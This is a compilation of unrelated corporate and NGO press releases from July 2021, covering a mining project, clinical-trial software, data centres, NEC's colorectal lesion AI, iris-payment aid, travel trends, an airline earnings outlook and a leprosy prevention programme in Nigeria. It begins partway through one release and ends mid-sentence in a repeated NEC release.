The excellent location of Bam Bam's Majuba Hill District, with already existing mining friendly infrastructure, will significantly reduce costs for exploration programs and future mining activities.

Qualified Person

The scientific and technical information contained in this news release has been reviewed by E.L. "Buster" Hunsaker III, CPG 8137, a non-independent consulting geologist who is a "Qualified Person" as such term is defined under National Instrument 43-101 - Standards of Disclosure for Mineral Projects ("NI 43- 101").

About Bam Bam Resources Corp.

Bam Bam Resources Corp. (CSE: BBR) (OTC Pink: NPEZF) (FSE: 4NPB) is engaged in the identification, review and acquisition of latter stage copper and copper/silver/gold assets. This is in direct response to the growing worldwide demand and lack of supply for precious metals fueled by the Green New Deal in the US and most other developed nations with similar programs aimed at addressing climate change. Such programs are heavily reliant on silver, gold and especially copper to produce Electric Vehicles and other renewable power sources, as well as building infrastructure to provide clean and affordable electricity.

The flagship project is the Majuba Hill copper, silver and gold District located 156 miles outside Reno, Nevada, USA. Management has been mandated to focus on safe, mining friendly jurisdictions where government regulations are supportive of mining operations.

On Behalf of the Board of Bam Bam Resources Corp.

" David Greenway"

David C. Greenway

President & CEO

For further information, please contact:

Joel Warawa

VP of Corporate Communications

E: jw@bambamresources.com

P: 1 (855) 475-0745

Forward-Looking Statements

This news release contains certain statements that may be deemed "forward-looking" statements. Forward looking statements are statements that are not historical facts and are generally, but not always, identified by the words "expects", "plans", "anticipates", "believes", "intends", "estimates", "projects", "potential" and similar expressions, or that events or conditions "will", "would", "may", "could" or "should" occur. Although Bam Bam Resources Corp. believes the expectations expressed in such forward-looking statements are based on reasonable assumptions, such statements are not guarantees of future performance and actual results may differ materially from those in forward looking statements. Forward looking statements are based on the beliefs, estimates and opinions of Bam Bam Resources Corp. management on the date the statements are made. Except as required by law, Bam Bam Resources Corp. undertakes no obligation to update these forward-looking statements in the event that management's beliefs, estimates or opinions, or other factors, should change.

###

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/90177
Medable Inc., the leading cloud platform for patient-centered drug development, today announced the first stage of its European expansion plans with a new EMEA headquarters in Dublin. The regional headquarters will serve as a hub for expanded sales, customer success and software development in Europe, enabling Medable to continue broad adoption of digital clinical trials at global scale.

Medable's European expansion is designed to enable greater engagement with hundreds of pharma, biotech and medical device companies across the UK, Germany, Switzerland, Spain and Benelux. Medable's European operations will also help the company support clinical trial deployments in Europe, providing remote and site-based access for patients anywhere.

Medable has an existing presence in Europe with roughly 60 employees and contractors currently based in the UK, Germany, Denmark and various other locations in Central and Eastern Europe. The company intends to hire up to 50 positions in Dublin over the next three years, as part of its extensive growth across Europe in coming years.

"Medable has played a valuable role in making clinical trials more accessible and inclusive for diverse patient populations, and we're excited to deepen our roots in Europe," said Dr. Michelle Longmire, CEO and co-founder of Medable. "Our vision for the future of clinical research is based on consumer-scale technology that serves billions of patients through mobile applications and connected devices. We look forward to working with more partners, customers and patients across Europe as we expand our ecosystem and investments."

Medable is an emerging leader in the industry shift to decentralized clinical trials, making trials accessible for everyone everywhere and enabling effective therapies to reach patients faster. Medable's software-as-a-service (SaaS) platform has been deployed in more than 60 countries via more than 150 decentralized and hybrid clinical trials. By minimizing the need for in-person site visits, Medable customers have achieved unprecedented results including 3X faster enrollment, 90 percent retention rates, and 50 percent cost reductions.

The company is supported by the Irish Government through IDA Ireland.

Tanaiste and Minister for Enterprise, Trade Employment Leo Varadkar TD said: "I'm really pleased Medable has chosen Ireland for its new EMEA headquarters, creating up to 50 new jobs in Dublin over the next three years. This decision further demonstrates that we are succeeding in attracting high calibre companies and highly skilled jobs to our country. I wish the team at Medable the very best of luck in establishing their new office."

"This expansion is the result of multiple country analyses, and we believe the Ireland location and Dublin office is an optimal first step in our international growth plan," said Burak Over, head of corporate development and investor relations for Medable.

Martin Shanahan, CEO of IDA Ireland, said: "Medable's decision to set up its EMEA HQ in Dublin is very welcome and endorses Ireland's position as a tech hub in Europe for high growth companies."

Medable experienced record growth in 2020 as the COVID-19 pandemic drove demand for remote and hybrid trial technologies. Over the last year, Medable launched five new products and onboarded more than 50 new clients, growing revenues by more than 400 percent while expanding its ecosystem to accelerate digital and decentralized clinical trial adoption. Medable has raised more than $217 million in capital to fuel its growth.

Medable is now accepting applications for available roles in Dublin and other offices, which are outlined in full at https://www.medable.com/company/careers.

For ongoing insight about decentralized trial adoption and patient-centered research, follow Medable via our blog, LinkedIn, Twitter and Facebook channels.

About Medable

Medable is on a mission to get effective therapies to patients faster by transforming clinical drug development with disruptive technologies. The company's digital platform streamlines design, recruitment, retention and data quality for decentralized trials, replacing siloed systems with integrated digital tools, data and interfaces to accelerate trial execution. Medable connects patients, sites and clinical trial teams to improve patient access, experience, and outcomes. Medable is a privately held, venture-backed company headquartered in Palo Alto, California. For more information, visit www.medable.com and follow @Medableinc on Twitter.

View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005381/en/

Contacts:

Lisa Barbadora, Big Valley Marketing for Medable, +1 (610) 420-3413, media@medable.com
Investment will see Colt DCS take ownership to develop and operate hyperscale data centres across Tokyo and Osaka markets increasing capacity from 50MW to 140MW

Colt Data Centre Services (DCS), a leading provider of global hyperscale data centre solutions, today announced, that Fidelity has entered into a joint venture agreement with Mitsui Co, and Mitsui Co Asset Management Holdings, to provide state-of-the-art hyperscale data centres in Japan. The new joint venture will be owned 50:50 and will further strengthen Colt DCS' presence in the Tokyo and Osaka regions of Japan.

The joint venture between Fidelity and Mitsui will allow Colt DCS to further accelerate its hyperscale strategy in Japan, where it has seen unprecedented success. The company pre-sold 94% of its capacity before the launch of its Inzai Three facility November of last year, and has recently been named Frost Sullivan's 2021 Japan Data Center Services Company of the Year, a prestigious award which examines criteria such as customer experience, operations excellence technical capabilities, and innovation. Colt DCS currently have 50MW existing built in Japan, which will almost triple to 140MW following the joint venture.

"Japan remains a strategic country of focus for our regional expansion, where the demand for large-scale data centre capacity outstrips supply," commented Niclas Sanfridsson, CEO, Colt Data Centre Services. "Whilst Colt DCS already has a solid reputation in the market for working with the world's largest hyperscale cloud providers and multi-national companies, the partnership with Mitsui and its strategic alliances will provide new opportunities for us to further penetrate the domestic enterprise sector and accelerate our land banking strategy."

The joint venture will appoint Colt Data Centre Services as the exclusive service provider for the design, development, operations and customer service management for the venture. Mitsui Co., Realty Management Ltd., a private real estate fund management subsidiary of Mitsui will serve as the asset manager for the joint venture, covering structuring, financing, land sourcing, development support and Japanese customer marketing by utilising Mitsui group's deep industrial capabilities.

"Data centres play a critical role in the digital transformation of businesses across the globe, and the demand for high-quality and environmentally conscious hyperscale data centres is huge," added Shinsuke Waka, GM of Financial Business Division, from Mitsui Co. "Through the management of the Mitsui Fund and our joint venture, Mitsui will utilise its unique financial and industrial capabilities to respond jointly to these needs with its global prestigious partners."

About Colt DCS

Colt Data Centre Services provide true service and operational excellence in the design, build, delivery and operational management of hyperscale data centres and hybrid cloud solutions to our customers across Europe and Asia pacific.

We have over 25 years of experience in operating 26 state-of-the-art carrier neutral data centres across 18 cities, offering 24/7 security and local language support.

Our connectivity and colocation solutions allow our customers freedom to plan effectively for the growth of their business, knowing that their data centre strategy is ready for the demands of tomorrow. http://www.coltdatacentres.net/

View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005052/en/

Contacts:

Kalim Hawkins

PR Manager Octopus Group

Kalim.Hawkins@octopusgrp.com
CE marking-compliant software; soon available in Europe -

NEC Corporation (NEC; TOKYO: 6701) announced today the development of an AI technology for supporting doctors in determining if colorectal lesions are neoplastic or non-neoplastic. NEC developed a new technology, called "Cx20," while seeking to assist in the early detection of colorectal lesions. Cx20 has already met the requirements for CE marking, a European safety, health and environmental protection standard, and will be integrated in the medical device AI diagnostic support software "WISE VISION Endoscopy" (*1), with sales expected to start in Europe later this year.

This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20210714005377/en/

The Cx20 function supports the identification of disease: During examinations, suspected lesions are automatically detected through video taken by endoscope devices. Doctors then extract still images (left) and analysis results are soon displayed (right) (Graphic: Business Wire)

This software connects and interacts with existing endoscopic equipment and automatically notifies users if a lesion is possibly neoplastic based on images captured during endoscopy procedures. The software then becomes an extra tool immediately available to assist endoscopists in the differentiation of lesions and reduces the burden on patients.

Colorectal cancer originates from precancerous lesions (colorectal neoplastic polyps) and it is possible to suppress its progression by detecting and removing lesions at an early stage during endoscopy procedures. It is, however, sometimes difficult for endoscopists to visually distinguish between neoplastic and non-neoplastic lesions during endoscopy examinations, resulting in unnecessary biopsies and removal of non-neoplastic lesions, thereby causing additional stress and discomfort to patients. Colorectal cancer is said to be the second-largest cancer (*2) in the European region, and the latest version of WISE VISION Endoscopy, which launches first in Europe, promises to help doctors address this challenging issue.

To improve the chances of identifying if colorectal lesions are possibly neoplastic, and so to help endoscopists in their decision process, NEC developed a new technology where the learning power of AI is used to combine information of endoscopy images and data from the findings of expert physicians. Specifically, the technology analyzes still images of lesions taken with endoscopy devices, and if the AI determines that a colorectal lesion is likely to be neoplastic a "High possibility" notification message is displayed.

For More Information

URL: https://www.nec.com/en/press/202107/global_20210714_03.html

Notes:

(*1) "WISE VISION" is a registered trademark of NEC Corporation in the United States of America, the European Union and the United Kingdom.

(*2) According to United European Gastroenterology

https://ueg.eu/p/78#

View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005377/en/

Contacts:

Joseph Jasper

j-jasper(at)nec.com
LONDON, July 14, 2021 /PRNewswire/ -- IrisGuard are delighted to have won a GLOMO Award, Best Mobile Innovation Supporting Emergency or Humanitarian Situations for "Covid-safe mobile iris payment solution, enabling uninterrupted access to aid for millions". The Global Mobile (GLOMO) Awards celebrate the companies and individuals driving innovation in the rapidly evolving mobile industry.

Under the Tech4Good category the award was presented live by Mats Granryd, Director General of the GSMA. As IrisGuard are a long-term supporter and practitioner of five of the main UN SDGs, this was particularly meaningful as it was he who led the mobile industry in becoming the first sector to broadly commit to the United Nations Sustainable Development Goals (SDGs) in 2016 and is now spearheading initiatives to accelerate the mobile industry's impact in all 17 of the SDGs.

Making the final 5 shortlist, IrisGuard was judged against strong contenders including Asiacell in Iraq, and, SK Telecom and the Korean Red Cross. The Judges had this to say about our win "An effective technology and good solution, particularly for a refugee community, but with many other potential humanitarian applications."

The GSMA's CEO, John Hoffman commented, "Congratulations to all the winners and nominees of the GSMA's GLOMO Awards 2021. You truly embody the theme of this year's event, Connected Impact. Given the particularly challenging circumstances we've all faced over the last 15 months, it's more important than ever to come together to recognise the incredible innovation and ingenuity shaping our industry, as well as the positive impact this is making on the world around us."

For IrisGuard, the deployment of usage this award recognises started in 2019. Building upon our EyeCloud back-end services the EyePay Phone allowed humanitarian support to be delivered daily direct to the point of need whilst still maintaining safe contactless practices and providing iris biometric proof-of-life. Donor accountability and personal entitlement was protected and there was no requirement to use any other form of ID documents or cards, which can often be lost or fraudulently used. Currently utilized by nearly 40 UN agencies and NGOs in partnership with banks, post offices, mobile wallets and national ID schemes, our systems provide a targeted financial platform for regular distribution of aid, pensions, social welfare and ever more increasingly, cash assistance.

Our latest innovations have allowed not just un-interrupted supply during Covid lockdown but expansion of the service into homes and greater local support. Over 2.7 million people, who had no other means of receiving access to aid in cash and food continue to receive support during this current pandemic.

Simon Reed, Deputy Director of IrisGuard commented on the win, "The strategic introduction of the unique iris EyePay Phone in 2019 dramatically increased the ability to serve more refugees and people in need quickly and efficiently. Winning this award as a true Tech4Good deployment makes me extremely proud personally and for the whole team at IrisGuard."

About IrisGuard

IrisGuard are the world leader in iris recognition payment services, providing a secure and scalable system for targeted transfer of assistance payments, EMRs management or border control. Their powerful technology authenticates transactions without any other ID, ensuring 100% accurate proof-of-life in real time on a one-to-many basis. They've been leading the way in this sector for the past 20 years.

UK based iris recognition and payment technology company operating in 11 countries and a trusted long-term partner of the UNHCR, WFP, UN Women, NGOs and retail banks. An associate member of the GSMA, mobile phone developer and a vanguard member of the Million Lives Club , also members of CaLP (Cash Learning Partnership).

Their products and services are driving financial assistance for millions of unbanked who are now able to receive cash from ATMs and mobile cash-out agents , buy their food in supermarkets and receive their regular pension payments using solely their eyes as a proof of life. They have integrated with the world's largest Blockchain for humanitarian aid Building Blocks . whilst able to operate in challenging environments with poor connectivity requiring one-time only registration, empowering financial inclusion and gender equality of vulnerable people without bank accounts.

About GSMA

The GSMA represents the interests of mobile operators worldwide, uniting more than 750 operators with almost 400 companies in the broader mobile ecosystem, including handset and device makers, software companies, equipment providers and internet companies, as well as organisations in adjacent industry sectors. The GSMA also produces the industry-leading MWC events held annually in Barcelona, Los Angeles and Shanghai, as well as the Mobile 360 Series of regional conferences.

For more information on IrisGuard , please visit www.irisguard.com

, please visit www.irisguard.com For more information on the GSMA awards ceremony please click here and click here

Images of our products and services are available on request

Interview with Imad Malhas , CEO or Simon Reed , Deputy Director also available upon request

Media contact:

Eva Mowbray

Director of Marketing & Global Partnerships

IrisGuard UK Ltd

E: emowbray@irisguard.com

Video: https://www.youtube.com/watch?v=dq14s4gAyKQ
Cheshire based Fintech and alternative banking solution, Suits Me is delighted to announce that their CEO, Matthew Sanders, has been acknowledged by the Great British Entrepreneur Awards as a North West finalist in the Scale-Up Entrepreneur of the Year Award.

CHESHIRE, England, July 14, 2021 /PRNewswire/ -- The Great British Entrepreneur Awards, founded in 2013 recognises entrepreneurs throughout the United Kingdom, admiring the hard work that they put into their businesses. The awards also acknowledge the inspiring stories of the entrepreneurs.

The award has previously celebrated many exceptional entrepreneurs, some of which have gone on to become household names. Previous winners include the founders of Tangle Teezer and the LAD Bible. Further to this, Steven Bartlett won the 2017 Young Entrepreneur of the Year Award and has now successfully become the youngest ever Dragon on BBC's Dragons' Den.

Founder of the Great British Entrepreneur Awards, Francesca James, explained: "Creating the shortlist out of so many wonderful applications were incredibly tough, so I don't envy the judges who will now decide the regional winners. Everyone who has been shortlisted should be incredibly proud and we're thrilled to be able to showcase their achievements."

This year the awards had over 4,800 entrants nationally - the most that they have ever had, making it an exceptional achievement for all the finalists to have been shortlisted. Although coronavirus has made life a little uncertain over the past 18 months, it is pleasant to see that both businesses and entrepreneurs are still being recognised for all their hard work.

The Great British Entrepreneur Awards regional finals are due to be held live in person in September and Matthew will be up against Jack Sutcliffe & Simon Hobson from Powersheds and Martin Blythe at Searchability.

Matthew Sanders, Suits Me CEO said: "I am honoured to be recognised as one of the North West finalists at this year's Great British Entrepreneur Awards. As a company, Suits Me constantly strive to ensure that we are able to provide the best service to our account holders. Many thanks to all at the Great British Entrepreneur Awards for thinking so highly of me. I am looking forward to the final and wish the best of luck to all of the finalists."

Notes to the Editor:

Snapshot of an Average Suits Me Account Holder

65% of account holders are male

Average age: 25-34

Nationality: English, Romanian, Bulgarian, and Polish

Customer Values: Transparency, Honesty, Integrity, and Reliability

Links

Link to Suits Me: suitsmecard.com

Link to The Great British Entrepreneur Awards: https://www.greatbritishentrepreneurawards.com

Contact

Kim Roberts

Marketing and Communications Director

kroberts@suitsmecard.com

07855503443

About Suits Me:

Suits Me are a hassle-free alternative to traditional banking, offering personal accounts with access to online banking, a mobile banking app and a contactless debit card. Suits Me was founded in 2015 to provide an account to customers who may have poor or no credit history, no proof of address, or struggle to open an account with a traditional bank.

Currently operating in Cheshire, UK, Suits Me gives people an alternative solution to a high street bank. Suits Me do not perform credit checks and provides all their account holders with access to their exclusive cashback reward programme.

For more information, go to suitsmecard.com or follow us @suitsmecard on Facebook, Twitter, Instagram, and LinkedIn.



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trivago research shows travel plans are deliberately fluid as Europe looks to capitalise on summer

DUSSELDORF, GERMANY - 14 July 2021 - Following a year and a half of limited travel, Europeans are set to capitalize on a summer of loosening restrictions - although holidays will look different for many. A new study from global accommodations platform trivagoshowed that a third of people across France, Germany, and the UK are looking for a beach break, while bookings for both the city and the seaside have risen significantly year-on-year.

According to the research, the vast majority of respondents in all four countries surveyed - France (76%), Germany (70%), the Netherlands (69%), and the UK (71%)- want to travel this summer, and beach getaways have proved most popular for all except the Netherlands. One third of Brits (31%), a quarter of Germans (25%), and two-fifths of French respondents (39%) are hoping to enjoy the sea and sand this summer. Meanwhile those from the Netherlands prefer either to embark on road trips (25%) and relax with a staycation (25%).

European consumers believe demand is driving up holiday costs

Across every country surveyed, the majority of people believe that holiday accommodation prices are being driven up by demand for travel over the summer. This is especially true in the UK, where over three quarters (76%) think prices for accommodation have risen - with over half having experienced the phenomenon first-hand, either when booking a holiday or while searching for accommodation.

For some, this has halted holiday plans, with one in ten respondents in both the UK (12%) and France (10%) reporting that they have not been able to book a summer holiday due to increased costs. According to metadata from trivago's platform, spending by UK travellers has increased by 80% year-on-year, despite the trips they take decreasing in length - 81% of bookings in June were for breaks of three days or less.

However, there is also good news, as a significant number have already booked holidays despite uncertainty and increased costs. In France, one in four (24%) have booked their summer holiday without any issues, as well as around one in five in both the Netherlands (20%) and Germany (18%). It has been a slightly more difficult process for travellers in the UK, with around one in ten experiencing difficulties either due to lack of accommodation options (11%) or increased prices (9%). Nonetheless, one in five (20%) have already booked their summer getaways.

People across Europe are approaching their trips with greater caution this summer, and checking the cancellation policy before booking is the most popular step they are taking, with at least one in five in each country reporting that they had done so. Respondents from the Netherlands are most confident in their holiday plans, with almost one third (28%) stating that they are 100% confident in their plans, and have taken no extra precautions.

City breaks and beach destinations popular in June

With many across Europe heading for the beach, metasearch data from trivago shows that seaside destinations have experienced a surge in interest. Click-outs* from Germany for Playa de Palma in Spain have risen by 128% compared to last year, while click-outs from the UK for Brighton have increased by even more: 299% year-on-year.

City breaks are also experiencing a surge in popularity. Click-outs for London have risen by a staggering 378% compared to last year, while Edinburgh is proving similarly popular with a 358% increase. Hamburg has also proved popular for Germans looking to get away. Perhaps unsurprisingly, international travel has remained low, with many more opting to travel domestically than venture abroad.

While Brits are taking shorter breaks, with trips of 3 days or less making up 81% of bookings, longer breaks are becoming more popular in Germany (74% for holidays of 8 days or more). In June 2021, 69% of Americans booked for 8 to 14 days, compared to June of 2020. This can likely be attributed to ongoing remote work and easing restrictions.

To learn more, visit trivago.com.

# # #

*Click-out - when a user clicks on an offer on trivago and is forwarded to a booking site?

About trivago

trivago is a leading global accommodation search platform focused on reshaping the way travelers search for and compare hotels and alternative accommodations. Incorporated in 2005 in Dusseldorf, Germany, the platform allows travelers to make informed decisions by providing them access to a deep supply of accommodation information and options from hundreds of websites. trivago enables its advertisers to grow their businesses by providing access to a broad audience of travelers via its websites and apps. As of June 30, 2020, trivago has established 54 localized platforms connected to over 5.0 million hotels and alternative accommodations, in over 190 countries



Media Contact:

Stephanie Lowenthal

stephanie.lowenthal@trivago.com



Forward looking statements

This press release contains certain forward-looking statements. Words, and variations of words such as "believe," "expect," "plan," "continue," "will," "should," and similar expressions are intended to identify our forward-looking statements. These forward-looking statements involve risks and uncertainties, many of which are beyond our control, and important factors that could cause actual events and results to differ materially from those in the forward-looking statements. For additional information factors that could affect our forward-looking statements, see our risk factors, as they may be amended from time to time, set forth in our public filings with the Securities and Exchange Commission. We disclaim and do not undertake any obligation to update or revise any forward-looking statement in this press release, except as required by applicable law or regulation.
STOCKHOLM, July 14, 2021 /PRNewswire/ -- Safeture AB Lund has signed a three-year agreement with SPS, an international security and assistance company, to provide services to a large German client. Under the agreement, SPS will manage and oversight more than 60 000 employees based globally who have access to the Safeture platform. Services include including eLearning, facilities monitoring, and travel management integration. The three-year contract is valued at 383 000 Euros.

"The agreement consolidates Safeture's position as a leading provider of digital services that provide security for employees no matter where they are during working hours - at home, in the office, or when traveling.

We see a clear trend in that more and more companies allow all employees to receive our services as the duty of care, to meet work environment requirements and to be an attractive employer, " says Magnus Hultman, CEO of Safeture.

"We are extremely pleased to secure this significant Travel Risk Management contract with the support of Safeture, who have again proven their ability to tailor their services to our client's specific requirements." says Simon Sawyer, COO of SPS.

For additional information, visit www.safeture.com or contact:

Safeture CEO

Magnus Hultman

+46 706 00 81 66

Magnus.hultman@safeture.com

This information was brought to you by Cision http://news.cision.com

https://news.cision.com/safeture-ab/r/safeture-signs-three-year-agreement-worth-close-to-sek-4-million,c3384829

The following files are available for download:
WASHINGTON (dpa-AFX) - American Airlines (AAL) said it expects to report between a net loss of $35 million and a net profit of $25 million in the second quarter of 2021. Adjusted net loss, excluding the effect of net special items, will be between $1.1 billion and $1.2 billion. On a pre-tax basis, the company expects to report a slight second-quarter profit. Adjusted pretax margin for the quarter is now expected to be around negative 19 percent to negative 20 percent, compared to previous guidance of negative 27 percent to negative 30 percent. The updated outlook reflects the improvement in revenue and effectiveness of its cost efficiency measures. For the quarter, total revenue is now projected to be down approximately 37.5 percent from that of pre-pandemic 2019. This is an improvement compared to the Company's prior guidance of down approximately 40 percent. During the second quarter, the company flew 54.6 billion total available seat miles, down 24.6 percent versus the second quarter of 2019 and at the lower end of its prior guidance. Further, the company expects its second quarter CASM to be up between 11 percent and 12 percent compared to 2019 versus its previous guidance of up between 13 percent and 17 percent. American Airlines shares lost 3.9 percent in the regular trading on Tuesday to close at $20.02. In the pre-market activity, shares were gaining around 1.05 percent to trade at $20.23. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
AMSTERDAM, July 14, 2021 /PRNewswire/ -- On Tuesday July 13th LTR Nigeria organized the kickoff event of Ready4PEP, an innovative 4-year implementation project, at the District Head's Palace in Misau local government area, Bauchi State. The launch means the first hand out of a new preventive medicine for contacts of leprosy patients. In the presence of national media, local authorities, health workers and persons affected by leprosy, the first close contacts of leprosy patients received the antibiotic rifampicin. This medicine is proven to interrupt the spread and devastating effects of leprosy. During the event, two men, three women and three children received the preventive treatment. The project is coordinated by NLR, until no Leprosy Remains (NLR) and LTR Nigeria in close collaboration with national health authorities.

Research shows that the combination of contact screening and the provision of a single-dose of rifampicin as post-exposure prophylaxis (SDR-PEP) is effective and feasible. The World Health Organization (WHO) recommends national programmes to initiate SDR-PEP. According to the WHO 2019 leprosy update, Nigeria had 2,424 newly detected leprosy patients, thereby accounting for about ten percent of the total new leprosy patients in Africa. Nigeria is one of the first countries to implement SDR-PEP on a larger scale. A total of 21,000 contacts are expected to receive SDR-PEP.

Implementing SDR-PEP in Nigeria

The approach to successfully implement SDR-PEP considers four crucial elements: active case finding, geological mapping, capacity building of health workers and distribution of medication. Since the start of 2020, NLR and LTR Nigeria in close collaboration with the national tuberculosis and leprosy control programme, the German Leprosy and Tuberculosis Relief Association (GLRA) and the Leprosy Mission Nigeria (TLMN) took all preparatory steps to start the final step, distributing SDR-PEP to the contacts of confirmed leprosy patients.

Health workers visited each contact and screened them for signs and symptoms of leprosy. Contacts that did not display signs and symptoms of the disease, and meet the eligibility criteria for SDR-PEP administration, will now start to receive a single dose of rifampicin. The contacts of all new leprosy patients in the projects intervention areas will also be screened for leprosy, continuing the cycle.

Bauchi State, where the event takes place, is one of the six Ready4PEP implementation states and among the top 15 leprosy high burden states in Nigeria. The intervention areas are located in the North-East/North-West (LTR Nigeria), South-East/South-South (GLRA) and North-West/North-Central (TLM Nigeria) of the country. This results in a more diversified pattern of areas with a very different sociocultural and socioeconomic context and different approaches used by the project partners. "Now there is hope. Leprosy can be debilitating and disfiguring, but leprosy is curable and now even preventable. This project shows that this intervention is for the community and we are all stakeholders," says Dr. Suleiman Abdullahi, Medical Adviser LTR Nigeria.

Ready4PEP project

In NLR's Ready4PEP project a preventive treatment to stop leprosy transmission, SDR-PEP, is implemented in Mozambique and Nigeria. The goal is to interrupt the spread and harmful effects of leprosy through well thought-out interventions targeting a range of stakeholders. The governments of both countries have shown enthusiasm and willingness to work together with the partners in this project to introduce SDR-PEP into their leprosy control programmes and improve care for persons affected. The Nigerian National Programme on TB, Buruli ulcer and Leprosy (NPTBL) is committed towards the project and staff was present at the launch event. The distribution of medication will soon start in Mozambique as well. Both countries account for over twenty percent of the total new leprosy patients in Africa.

About NLR | until No Leprosy Remains

NLR is an international NGO that has been one of the major change-makers in the fight against leprosy in the past 50 years. NLR takes focuses on research and driving evidence-based innovation to achieve zero transmission, zero disability and zero discrimination due to leprosy. NLR has offices in some of the most leprosy-endemic countries: India, Brazil, Indonesia, Mozambique and Nepal and an international office in the Netherlands. A worldwide total of 200 staff work together to achieve zero leprosy. We continue our efforts until No Leprosy Remains. Find out more: www.nlrinternational.org/ready4pep

About LTR Nigeria

Leprosy and Tuberculosis Relief Initiative Nigeria (LTR) is a non-profit NGO. The organization is passionate and committed to Leprosy and Tuberculosis control in Nigeria. From 1978 to 2017, LTR was a regional office of NLR. The entity LTR was incorporated in 2018 and still partners with NLR in Nigeria, to achieve a leprosy-free world. https://ltrnigeria.org/

Available for interviews

Karin van Knippenberg - Project Coordinator Ready4PEP at NLR

- Project Coordinator Ready4PEP at NLR Dr. Tahir Dahiru - Executive Director LTR Nigeria

Dr. Suleiman Abdullahi , Medical Adviser LTR Nigeria



Photo: https://mma.prnewswire.com/media/1573120/SDR_PEP.jpg

Logo: https://mma.prnewswire.com/media/1305576/NLR_logo.jpg
Vancouver, British Columbia--(Newsfile Corp. - July 14, 2021) - Spey Resources Corp. (CSE: SPEY) (OTC PINK: SPEYF) (FRA: 2JS) ("Spey" or the "Company") announces that it has completed the Transient Electro Magnetic ("TEM") survey at Incahuasi salar. The survey has identified at least two major aquifers.





Figure 1 Line one was the northern most line and line three was the southern most line. The frequencies used were 25 Hz and 5 Hz and noise was eliminated using different frequencies were required. The bright pink areas have the lowest resistivity which indicated presence of potassium and lithium.

To view an enhanced version of Figure 1, please visit:

https://orders.newsfilecorp.com/files/6150/90197_c57e0686c444d950_004full.jpg





Figure 2 The lithium isobars on the surface show the concentration of lithium in two locations that correspond with the aquifiers identified in the geophysics. The topline is line 1 and the bottom line is 3.

To view an enhanced version of Figure 2, please visit:

https://orders.newsfilecorp.com/files/6150/90197_c57e0686c444d950_005full.jpg

The TEM lines were sampled for lithium at the surface, which is usually much lower in concentration than in the aquifer at depth and grades of 145ppm were recorded on the surface.





Figure 3 Profile 3 shows a large continuous area close to the surface of very low resistivity. Black circles delinate the aquifers.

To view an enhanced version of Figure 3, please visit:

https://orders.newsfilecorp.com/files/6150/90197_spey.h2.jpg

We are preparing the drill locations now that the aquifers have been identified and the surface sampling completed. 240 litres of brine from three locations have been taken and will be sent to Melbourne, Australia to be processed by the University of Melbourne in the pilot plant facility.

Nader Vatanchi CEO commented "We are making great progress at Incahuasi salar, having identified at least two major aquifers, ideal chemistry from the surface sampling and the project team able to mobilise shortly to commence drilling. Our geology team is putting together historical data with the new geophysics and geochemistry data to optimize the drilling locations. I'm delighted with the progress our team has made so far."

Qualified Person

Phillip Thomas, BSc Geol, MBusM, FAusIMM, MAIG, MAIMVA, (CMV), a Qualified Person as defined under NI 43-101 regulations, has reviewed the technical information that forms the basis for portions of this news release, and has approved the disclosure herein. Mr. Thomas is independent of the Company but discloses that he is a shareholder of SPEY.

About Spey Resources Corp.

Spey Resources is a Canadian mineral exploration company which holds an option to acquire 100% interest in the Candela II lithium brine project located in the Incahuasi Salar, Salta Province, Argentina through its wholly owned subsidiary Tech One Lithium Resources Corp. Spey also holds an option to acquire a 100% undivided interest in the Silver Basin Project located in the Revelstoke Mining Division of British Columbia as well as an option to acquire a 100% interest in the Kaslo Silver project, west of Kaslo, British Columbia.

For more information, please contact:

Nader Vatanchi CEO, Director

nader@speyresources.ca

778-881-4631

Cautionary Note Regarding Forward-Looking Statements: Certain disclosure in this release may constitute "forward-looking information" within the meaning of Canadian securities legislation. In making the forward-looking statements in this release, the Company has applied certain factors and assumptions that the Company believes are reasonable. However, the forward-looking statements in this release, including without limitation, statements pertaining to the future exercise of the Agreement to acquire an interest in the Property, the Company's exploration programs and the Company's mineral property development plans, are subject to numerous risks, uncertainties and other factors that may cause future results to differ materially from those expressed or implied in such forward-looking statements. Such uncertainties and risks include, without limitation, financing risks, delays in obtaining or inability to obtain required regulatory approvals, legislative, environmental and other judicial, regulatory, political or competitive developments, exploration and operational difficulties, the timing of future business expenditures, the potential of the Company's mineral properties and changes in economic conditions or financial markets. There can be no assurance that such statements will prove to be accurate, and actual results and future events could differ materially from those anticipated in such statements. Readers are cautioned not to place undue reliance on forward-looking statements. The Company does not intend, and expressly disclaims any intention or obligation to, update or revise any forward-looking statements whether as a result of new information, future events or otherwise, except as required by law.

The Canadian Securities Exchange has neither approved nor disapproved the contents of this press release.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/90197


The Cx20 function supports the identification of disease. During examinations, suspected lesions are automatically detected through video taken by endoscope devices. Doctors then extract still images (left) and analysis results are soon displayed (right)

TOKYO, July 14, 2021 - (JCN Newswire) - NEC Corporation (NEC; TSE: 6701) announced today the development of an AI technology for supporting doctors in determining if colorectal lesions are neoplastic or non-neoplastic. NEC developed a new technology, called "Cx20," while seeking to assist in the early detection of colorectal lesions. Cx20 has already met the requirements for CE marking, a European safety, health and environmental protection standard, and will be integrated in the medical device AI diagnostic support software "WISE VISION Endoscopy" (1), with sales expected to start in Europe later this year.This software connects and interacts with existing endoscopic equipment and automatically notifies users if a lesion is possibly neoplastic based on images captured during endoscopy procedures. The software then becomes an extra tool immediately available to assist endoscopists in the differentiation of lesions and reduces the burden on patients.Colorectal cancer originates from precancerous lesions (colorectal neoplastic polyps) and it is possible to suppress its progression by detecting and removing lesions at an early stage during endoscopy procedures. It is, however, sometimes difficult for endoscopists to visually distinguish between neoplastic and non-neoplastic lesions during endoscopy examinations, resulting in unnecessary biopsies and removal of non-neoplastic lesions, thereby causing additional stress and discomfort to patients. Colorectal cancer is said to be the second-largest cancer (2) in the European region, and the latest version of WISE VISION Endoscopy, which launches first in Europe, promises to help 